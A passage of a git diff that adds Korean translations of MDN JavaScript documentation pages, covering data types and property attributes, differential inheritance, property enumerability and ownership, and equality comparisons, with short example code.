+ <li>원래 문자열에서 각각의 글자를 추출하거나 <code><a href="/en/JavaScript/Reference/Global_Objects/String/substr" title="substr">String.substr()</a></code>을 사용해서 만든 부분 문자열</li>
+ <li>접합 연산자 (<code>+</code>) 나 <code><a href="/en/JavaScript/Reference/Global_Objects/String/concat" title="concat">String.concat()</a></code> 으로 두 문자열을 합친 문자열</li>
+</ul>
+
+<h4 id="문자열의_자료형화를_조심하라!">"문자열의 자료형화"를 조심하라!</h4>
+
+<p>문자열을 복잡한 자료형을 표현하는 용도로 쓰는 방법이 꽤나 매력적일 수 있다. 단기적으로 이런 장점들이 있다.</p>
+
+<ul>
+ <li>접합 연산자로 손쉽게 복잡한 문자열을 만들 수 있다.</li>
+ <li>문자열은 디버깅이 쉽다 (화면에 출력한 내용이 문자열 변수에 있는 값과 같다)</li>
+ <li>문자열은 많은 API 에서 사용하는 공통분모이고 (<a href="/en/DOM/HTMLInputElement" title="HTMLInputElement">입력 필드</a>, <a href="/en/Storage" title="Storage">로컬 스토리지</a>  값, {{ domxref("XMLHttpRequest") }} 요청에서 <code>responseText</code>를 사용할 때 등) 그러다보니 문자열만으로 작업하는게 매혹적일 수 있다.</li>
+</ul>
+
+<p>규칙만 잘 정의해놓는다면, 어떤 자료구조가 되던 문자열로 표시할 수 있다. 그렇다고 해서 이게 좋은 방법이 되는 건 아니다. 예를 들자면, 구분자로 리스트 자료형을 흉내낼 수 있을 것이다 (하지만 자바스크립트의 배열을 사용하는게 더 알맞을 것이다). 불행하게도, 리스트의 요소중에 구분자가 들어있는 요소가 있다면 리스트는 엉망진창이 될 것이다. 물론 탈출 문자 (escape character) 등을 사용하거나 할 수도 있을 것이다. 하지만 이런 것들은 모두 미리 정해놓은 규칙을 필요로 하고, 덕분에 불필요한 관리 부담을 낳는다.</p>
+
+<p>문자열은 텍스트 데이터에만 사용하자. 복잡한 데이터를 나타낼때는, 문자열을 분석해서 적합한 추상화를 선택해 사용하자.</p>
+
+<h3 id="Symbol_타입">Symbol 타입</h3>
+
+<p>Symbol 은 ECMAScript 6 에서 추가되었다. Symbol은 <strong>유일</strong>하고 <strong>변경 불가능한</strong> (immutable) 기본값 (primitive value) 이다. 또한, 객체 속성의 key 값으로도 사용될 수 있다 (아래를 볼 것). 몇몇 프로그래밍 언어에서는 Symbol을 atom 이라고 부른다. 또, C 언어의 이름있는 열거형 (enum) 과도 비슷하다. 좀 더 자세히 알아보려면, 자바스크립트의  {{Glossary("Symbol")}} 와 {{jsxref("Symbol")}} 객체 래퍼 (wrapper) 를 보라.</p>
+
+<h2 id="객체_Objects">객체 (Objects)</h2>
+
+<p>컴퓨터 과학에서, 객체는 {{Glossary("Identifier", "식별자 (Identifier)")}} 로 참조할 수 있는, 메모리에 있는 값이다.</p>
+
+<h3 id="속성_Properties">속성 (Properties)</h3>
+
+<p>자바스크립트에서, 객체는 속성들을 담고있는 가방 (collection) 으로 볼 수 있다. <a href="/en/JavaScript/Guide/Values,_variables,_and_literals#Object_literals" title="en/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">객체 리터럴 문법 (object literal syntax)</a> 으로 제한적으로 몇 가지 속성을 초기화할 수 있고, 그러고 나서 속성들을 추가하거나 제거할 수도 있다. 속성 값은 객체를 포함해 어떠한 자료형도 될 수 있고, 그 덕분에  복잡한 데이터 구조를 형성하는게 가능해진다. 속성은 키 (key) 값으로 식별된다. 키 값은 String 이거나 Symbol 값이다.</p>
+
+<p>두 종류의 객체 속성이 있는데, 이들은 종류에 따라 특성값들을 가질 수 있다. 데이터 (data) 속성과 접근자 (accessor) 속성이 그것이다.</p>
+
+<h4 id="데이터_속성_Data_property">데이터 속성 (Data property)</h4>
+
+<p>키에 값을 연결하고, 아래와 같은 특성들 (attribute) 이 있다.</p>
+
+<table class="standard-table">
+ <caption>데이터 속성의 특성들</caption>
+ <tbody>
+ <tr>
+ <th>특성 (Attribute)</th>
+ <th>자료형</th>
+ <th>설명</th>
+ <th>기본값</th>
+ </tr>
+ <tr>
+ <td>[[Value]]</td>
+ <td>JavaScript 타입 모두 가능</td>
+ <td>이 속성에 대한 get 접근으로 반환되는 값.</td>
+ <td>undefined</td>
+ </tr>
+ <tr>
+ <td>[[Writable]]</td>
+ <td>Boolean</td>
+ <td><code>false</code> 라면, 이 속성의 [[Value]] 을 바꿀 수 없다.</td>
+ <td>false</td>
+ </tr>
+ <tr>
+ <td>[[Enumerable]]</td>
+ <td>Boolean</td>
+ <td><code>true</code> 라면, 이 속성은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에서 열거될 수 있다.</td>
+ <td>false</td>
+ </tr>
+ <tr>
+ <td>[[Configurable]]</td>
+ <td>Boolean</td>
+ <td><code>false</code> 라면, 이 속성은 제거될 수 없고, [[Value]]와 [[Writable]] 외에는 수정될 수 없다.</td>
+ <td>false</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="접근자_속성_Accessor_property">접근자 속성 (Accessor property)</h4>
+
+<p>값을 가져오거나 값을 저장하기 위해 키에 하나 혹은 두 개의 접근자 함수 (get, set) 연결짓는다. 아래와 같은 특성이 있다.</p>
+
+<table class="standard-table">
+ <caption>접근자 속성</caption>
+ <tbody>
+ <tr>
+ <th>특성 (Attribute)</th>
+ <th>자료형</th>
+ <th>설명</th>
+ <th>기본값</th>
+ </tr>
+ <tr>
+ <td>[[Get]]</td>
+ <td>Function 객체 혹은 undefined</td>
+ <td>이 속성의 값에 접근할 때마다, 인자 목록 없이 함수가 호출되고, 함수의 반환된 값으로 속성값을 가져온다. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a> 을 볼 것</td>
+ <td>undefined</td>
+ </tr>
+ <tr>
+ <td>[[Set]]</td>
+ <td>Function 객체 혹은 undefined</td>
+ <td>
+ <p>이 속성의 값이 바뀌려고 할 때마다, 할당된 값을 인자로 함수가 호출된다. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a> 을 볼 것</p>
+ </td>
+ <td>undefined</td>
+ </tr>
+ <tr>
+ <td>[[Enumerable]]</td>
+ <td>Boolean</td>
+ <td><code>true</code> 라면, 이 속성은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에서 열거될 수 있다.</td>
+ <td>false</td>
+ </tr>
+ <tr>
+ <td>[[Configurable]]</td>
+ <td>Boolean</td>
+ <td><code>false</code> 라면, 이 속성은 제거될 수 없고, 데이터 속성을 수정할 수 없다.</td>
+ <td>false</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3>
+
+<p>자바스크립트 오브젝트는 키와 값의 매핑이다. 키는 문자열이고 값은 다른 어떤 값도 될 수 있다. 오브젝트는 <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>을 표현하는데 적합하다. 표준이 아닌 <a href="/en/JavaScript/Reference/Global_Objects/Object/proto" title="__proto__">__proto__</a>  슈도 프로퍼티를 사용할 때는 주의하자. 이것을 지원하는 환경에서는 <code>'__proto__'는 오브젝트의 프로토타입을 의미하므로 이 이름을 키로 사용할 수 없다.   속성을 사용할 수 없다. 문자열의 출처가 분명하지 않을 때(입력 필드의 입력값 등)</code>주의가 필요하다. <a class="external" href="http://productforums.google.com/forum/#!category-topic/docs/documents/0hQWeOvCcHU">이런 일이 생길 수도 있다</a>. 이 때는  <a class="external" href="http://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/ses/StringMap.js?r=4779">StringMap abstraction</a> 같은 대안을 사용해보자.함수는 일반 오브젝트에서 호출 가능한 특성을 추가한 오브젝트이다.</p>
+
+<h3 id="Dates">Dates</h3>
+
+<p>시간을 나타내려면 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global_Objects/Date">Date utility</a>를 사용하자. 최고의 선택이다.</p>
+
+<h3 id="Arrays">Arrays</h3>
+
+<p><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array">배열(Arrays</a>) 는 정수키를 가지는 일련의 값들을 표현하기 위한 오브젝트이다. 배열 오브젝트에는 길이를 나타내는 'length'란 속성도 있다. 배열은 Array.prototype을 상속받으므로 배열을 다룰 때 편한 <a href="/en/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a> (배열에서 값 검색)와 <a href="/en/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a> (새로운 값 추가) 같은 함수를 사용할 수 있다. 배열은 리스트나 집합을 표현하는데 적합하다.</p>
+
+<h3 id="WeakMaps_Maps_Sets">WeakMaps, Maps, Sets</h3>
+
+<p>표준이 아니지만 ECMAScript 6에서 표준이 될 것 같다.</p>
+
+<p>이 자료형들에서는 키가 문자열 뿐만 아니라 오브젝트도 될 수 있다. Set은 오브젝트의 집합을 나타내는 반면에 WeakMaps와 Maps는 오브젝트에 값을 연관시킬 수 있다. Map과 WeakMap의 차이는 전자는 오브젝트 키를 열거할 수 있다는 것이다. 이것은 가비지 콜렉션에서 이점을 준다.</p>
+
+<p>ECMAScript 5를 이용해서 Map과 Set을 구현할 수 있을 것이다. 그러나 오브젝트는 크기 비교가 안된다는 점 때문에(예를들어 어떤 오브젝트는 다른 오브젝트보다 '작다'라고 할 수 없다) look-up에 소요되는 시간이 선형 시간이지 않을 것이다. 네이티브 구현은(WeakMaps를 포함해서) look-up 시간이 거의 로그 시간에서 상수 시간이다.</p>
+
+<p>DOM 노드에 데이터를 지정하기 위해서 직접 속성을 지정할 수도 있지만 data-* 속성을 사용할 수도 있다. 여기에는 다른 스크립트도 모두 그 속성에 접근할 수 있다는 나쁜 점이 있다. Map과 WeakMap은 오브젝트만 사용할 수 있는 개인 데이터를 쉽게 만들 수 있게 해준다.</p>
+
+<h3 id="TypedArrays">TypedArrays</h3>
+
+<p>표준이 아니지만 ECMAScript 6에서 표준이 될 것 같다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
+</ul>
diff --git a/files/ko/web/javascript/differential_inheritance_in_javascript/index.html b/files/ko/web/javascript/differential_inheritance_in_javascript/index.html
new file mode 100644
index 0000000000..70fd4256c3
--- /dev/null
+++ b/files/ko/web/javascript/differential_inheritance_in_javascript/index.html
@@ -0,0 +1,63 @@
+---
+title: Differential inheritance in JavaScript
+slug: Web/JavaScript/Differential_inheritance_in_JavaScript
+translation_of: Web/JavaScript/Differential_inheritance_in_JavaScript
+---
+<h2 id="Introduction">Introduction</h2>
+
+<p>차등 상속(Differential Inheritance)은 자바 스크립트와 같은 프로토 타입 기반 프로그래밍 언어에서 사용되는 일반적인 상속 모델입니다. 대부분의 객체는 다른 일반적인 객체에서 파생되고 몇 가지 작은 측면에서만 차이가 있다는 원칙에 따라 동작합니다. 일반적으로 객체가 다른 다른 객체에 대한 포인터 목록을 내부적으로 유지합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+
+
+<p>다음 코드는 개체를 "상속"하는 간단한 메서드 예제입니다.</p>
+
+<pre class="brush: js notranslate">Object.prototype.inherit = function(){
+ // Create a new object with this as its prototype
+ var p = Object.create(this);
+
+ /* actually not necessary:
+ // Apply the constructor on the new object
+ this.constructor.apply(p, arguments);
+ */
+
+ return p;
+};
+</pre>
+
+<p>상속(<font face="Consolas, Liberation Mono, Courier, monospace">inherit)</font>을 사용하면 일반 프로토 타입에서보다 구체적인 개체를 간단히 파생시킬 수 있습니다. 다음은 상속 방법 및 차등 상속을 사용하여 점점 더 구체적인 객체를 구성하는 간단한 예입니다.</p>
+
+<pre class="brush: js notranslate">var root = {}; // Could be any object with any prototype object
+
+var record = root.inherit();
+record.toString = function(){ return "a Record"; };
+
+var person = root.inherit();
+person.firstName = false;
+person.lastName = false;
+person.toString = function(){
+  if (this.firstName) {
+ if (this.lastName) {
+  return this.firstName + " " + this.lastName;
+  } else {
+ return this.firstName;
+  }
+  } else if (this.lastName) {
+ return this.lastName;
+  } else {
+ return "a Person";
+  }
+};
+
+JoePerson = person.inherit();
+JoePerson.firstName = "Joe";
+alert( JoePerson.toString() );
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">inheritance and the prototype chain</a></li>
+</ul>
diff --git a/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html
new file mode 100644
index 0000000000..41252c39d1
--- /dev/null
+++ b/files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html
@@ -0,0 +1,331 @@
+---
+title: Enumerability and ownership of properties
+slug: Web/JavaScript/Enumerability_and_ownership_of_properties
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("More")}}</div>
+
+
+
+<p>'Enumerable properties'(열거 가능한 속성)는 내부 열거 형 플래그가 true로 설정된 property로, 이는 간단한 할당 또는 property initializer (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>를 통해 정의 된 특성 및 이러한 기본 열거 형을 false로 정의한 특성)를 통해 작성된 property의 기본값입니다. 등록 정보의 키가 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>이 아니면 열거 가능한 등록 정보가 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 루프에 표시됩니다. 'Ownership of properties' (속성의 소유권)은 속성이 프로토 타입 체인이 아닌 개체에 직접 속하는지 여부에 따라 결정됩니다. 객체의 속성도 전체적으로 검색 할 수 있습니다. 개체 속성을 감지, 반복 / 열거 및 검색하는 여러 가지 기본 제공 방법이 있으며 아래 표와 같이 사용할 수 있습니다. 누락 된 범주를 얻는 방법을 보여주는 샘플 코드는 다음과 같습니다.</p>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <caption>Property enumerability and ownership - built-in methods of detection, retrieval, and iteration</caption>
+ <tbody>
+ <tr>
+ <th>Functionality</th>
+ <th>Own object</th>
+ <th>Own object and its prototype chain</th>
+ <th>Prototype chain only</th>
+ </tr>
+ <tr>
+ <td>Detection</td>
+ <td>
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Enumerable</th>
+ <th scope="col">Nonenumerable</th>
+ <th scope="col">Enumerable and Nonenumerable</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></p>
+ </td>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code> – filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></p>
+ </td>
+ <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Enumerable</th>
+ <th scope="col">Nonenumerable</th>
+ <th scope="col">Enumerable and Nonenumerable</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Not available without extra code</td>
+ <td>Not available without extra code</td>
+ <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></code></td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>Not available without extra code</td>
+ </tr>
+ <tr>
+ <td>Retrieval</td>
+ <td>
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Enumerable</th>
+ <th scope="col">Nonenumerable</th>
+ <th scope="col">Enumerable and Nonenumerable</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code> </p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+ </td>
+ <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a> </code>– filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>Not available without extra code</td>
+ <td>Not available without extra code</td>
+ </tr>
+ <tr>
+ <td>Iterable</td>
+ <td>
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Enumerable</th>
+ <th scope="col">Nonenumerable</th>
+ <th scope="col">Enumerable and Nonenumerable</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code> </p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+ </td>
+ <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code> – filtered to exclude enumerables using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></p>
+
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols">getOwnPropertySymbols</a></code></p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>
+ <table>
+ <thead>
+ <tr>
+ <th scope="col">Enumerable</th>
+ <th scope="col">Nonenumerable</th>
+ <th scope="col">Enumerable and Nonenumerable</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a></code></p>
+
+ <p>(excluding symbols)</p>
+ </td>
+ <td>Not available without extra code</td>
+ <td>Not available without extra code</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ <td>Not available without extra code</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Obtaining_properties_by_enumerabilityownership">Obtaining properties by enumerability/ownership</h2>
+
+
+
+<p>아래는 모든 경우에 가장 효율적인 알고리즘은 아니지만 빠르게 코드를 작성하여 확인하기 좋습니다.</p>
+
+<ul>
+ <li>Detection can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) &gt; -1</code></li>
+ <li>Iteration can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});</code> (or use<code> filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js notranslate">var SimplePropertyRetriever = {
+ getOwnEnumerables: function(obj) {
+ return this._getPropertyNames(obj, true, false, this._enumerable);
+ // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj);
+ },
+ getOwnNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, true, false, this._notEnumerable);
+ },
+ getOwnEnumerablesAndNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+ // Or just use: return Object.getOwnPropertyNames(obj);
+ },
+ getPrototypeEnumerables: function(obj) {
+ return this._getPropertyNames(obj, false, true, this._enumerable);
+ },
+ getPrototypeNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, false, true, this._notEnumerable);
+ },
+ getPrototypeEnumerablesAndNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+ },
+ getOwnAndPrototypeEnumerables: function(obj) {
+ return this._getPropertyNames(obj, true, true, this._enumerable);
+ // Or could use unfiltered for..in
+ },
+ getOwnAndPrototypeNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, true, true, this._notEnumerable);
+ },
+ getOwnAndPrototypeEnumerablesAndNonenumerables: function(obj) {
+ return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+ },
+ // Private static property checker callbacks
+ _enumerable: function(obj, prop) {
+ return obj.propertyIsEnumerable(prop);
+ },
+ _notEnumerable: function(obj, prop) {
+ return !obj.propertyIsEnumerable(prop);
+ },
+ _enumerableAndNotEnumerable: function(obj, prop) {
+ return true;
+ },
+ // Inspired by http://stackoverflow.com/a/8024294/271577
+ _getPropertyNames: function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+ var props = [];
+
+ do {
+ if (iterateSelfBool) {
+ Object.getOwnPropertyNames(obj).forEach(function(prop) {
+ if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+ props.push(prop);
+ }
+ });
+ }
+ if (!iteratePrototypeBool) {
+ break;
+ }
+ iterateSelfBool = true;
+ } while (obj = Object.getPrototypeOf(obj));
+
+ return props;
+ }
+};</pre>
+
+<h2 id="Detection_Table">Detection Table</h2>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <thead>
+ <tr>
+ <th scope="row"></th>
+ <th scope="col"><code>in</code></th>
+ <th scope="col"><code>for..in</code></th>
+ <th scope="col"><code>obj.hasOwnProperty</code></th>
+ <th scope="col"><code>obj.propertyIsEnumerable</code></th>
+ <th scope="col"><code>Object.keys</code></th>
+ <th scope="col"><code>Object.getOwnPropertyNames</code></th>
+ <th scope="col"><code>Object.getOwnPropertyDescriptors</code></th>
+ <th scope="col"><code>Reflect.ownKeys()</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Enumerable</th>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ </tr>
+ <tr>
+ <th scope="row">Nonenumerable</th>
+ <td>true</td>
+ <td>false</td>
+ <td>true</td>
+ <td>false</td>
+ <td>false</td>
+ <td>true</td>
+ <td>true</td>
+ <td>true</td>
+ </tr>
+ <tr>
+ <th scope="row">Symbols keys</th>
+ <td>true</td>
+ <td>false</td>
+ <td>true</td>
+ <td>true</td>
+ <td>false</td>
+ <td>false</td>
+ <td>true</td>
+ <td>true</td>
+ </tr>
+ <tr>
+ <th scope="row">Inherited Enumerable</th>
+ <td>true</td>
+ <td>true</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ </tr>
+ <tr>
+ <th scope="row">Inherited Nonenumerable</th>
+ <td>true</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ </tr>
+ <tr>
+ <th scope="row">Inherited Symbols keys</th>
+ <td>true</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ <td>false</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a></code></li>
+ <li>{{jsxref("Object.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/equality_comparisons_and_sameness/index.html b/files/ko/web/javascript/equality_comparisons_and_sameness/index.html
new file mode 100644
index 0000000000..31d1778d5d
--- /dev/null
+++ b/files/ko/web/javascript/equality_comparisons_and_sameness/index.html
@@ -0,0 +1,503 @@
+---
+title: 동치 비교 및 동일성
+slug: Web/JavaScript/Equality_comparisons_and_sameness
+tags:
+ - Comparison
+ - Equality
+ - Intermediate
+ - JavaScript
+ - SameValue
+ - SameValueZero
+ - Sameness
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div class="summary">
+<p>ES2015에는 4가지 같음(equality) 알고리즘이 있습니다:</p>
+
+<ul>
+ <li>추상적(abstract) 같음 비교 (<code>==</code>)</li>
+ <li>엄격한(strict) 같음 비교 (<code>===</code>): <code>Array.prototype.indexOf</code>, <code>Array.prototype.lastIndexOf</code> 및 <code>case</code> 절 매칭에 쓰임</li>
+ <li>등가0(SameValueZero): <code>Map</code> 및 <code>Set</code> 연산뿐만 아니라 <code>%TypedArray%</code> 및 <code>ArrayBuffer</code> 생성자, 그리고 ES2016에 예정된 <code>String.prototype.includes</code>에 쓰임</li>
+ <li>등가(SameValue): 그 외 모든 곳에 쓰임</li>
+</ul>
+
+<p>JavaScript는 3가지 서로 다른 값 비교 연산을 제공합니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">===</a>를 사용하는 엄격한 같음 (또는 "삼중 등호" 또는 "항등(identity)"),</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">==</a>를 사용하는 느슨한(loose) 같음 ("이중 등호"),</li>
+ <li>그리고 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> (ECMAScript 2015에 새로 들임).</li>
+</ul>
+
+<p>어느 연산을 쓸 지 그 선택은 당신이 어떤 종류의 비교를 수행하기 위해 찾고 있는 지에 달렸습니다.</p>
+
+<p> </p>
+
+<ul>
+ <li>이중 equals (<code>==</code>)는 두 가지를 비교할 때 유형 변환을 수행하고 IEEE 754를 준수하기 위해 <code>NaN</code>, <code>-0</code> 및 <code>+0</code>을 특별히 처리합니다 (그래서<code>NaN != NaN</code>이고 <code>-0 == +0</code>입니다);</li>
+ <li>트리플 equals (<code>===</code>)는 이중 equals (<code>NaN</code>, <code>-0</code> 및 <code>+0</code>의 특수 처리 포함)와 동일한 비교를 수행하지만 유형 변환은 수행하지 않습니다. 형식이 다른 경우 <code>false</code>가 반환됩니다.</li>
+ <li><code>Object.is</code>는 형식 변환을하지 않으며 <code>NaN</code>, <code>-0</code> 및 <code>+0</code>에 대한 특수 처리를 수행하지 않습니다 (특수 숫자 값을 제외하고는 <code>===</code>와 동일한 동작을 제공함).</li>
+</ul>
+
+<p> </p>
+</div>
+
+<p>이들 사이의 구분은 모두 원시형(primitive) 처리와 관련이 있습니다. 매개 변수가 구조적, 개념적으로 유사한 지 비교하는 것이 없습니다. 같은 구조를 가지지만 개체 자체가 각각인 비원시형(non-primitive) 개체 x 및 y의 경우 위의 모든 형태(form)는 false로 평가됩니다.</p>
+
+<h2 id="를_사용하는_엄격한_같음"><code>===</code>를 사용하는 엄격한 같음</h2>
+
+<p>엄격한 같음(strict equality)은 두 값이 같은 지 비교합니다. 어느 값도 비교되기 전에 어떤 다른 값으로 남몰래 변환되지 않습니다. 둘이 서로 다른 형이면, 둘은 같지 않다고 여깁니다. 그렇지 않고 둘이 같은 형이고 숫자가 아닌 경우, 같은 값이면 같다고 여깁니다. 끝으로, 둘이 숫자인 경우, 둘 다 <code>NaN</code>이 아닌 같은 값이거나 하나는 <code>+0</code> 또 하나는 <code>-0</code>인 경우 같다고 여깁니다.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
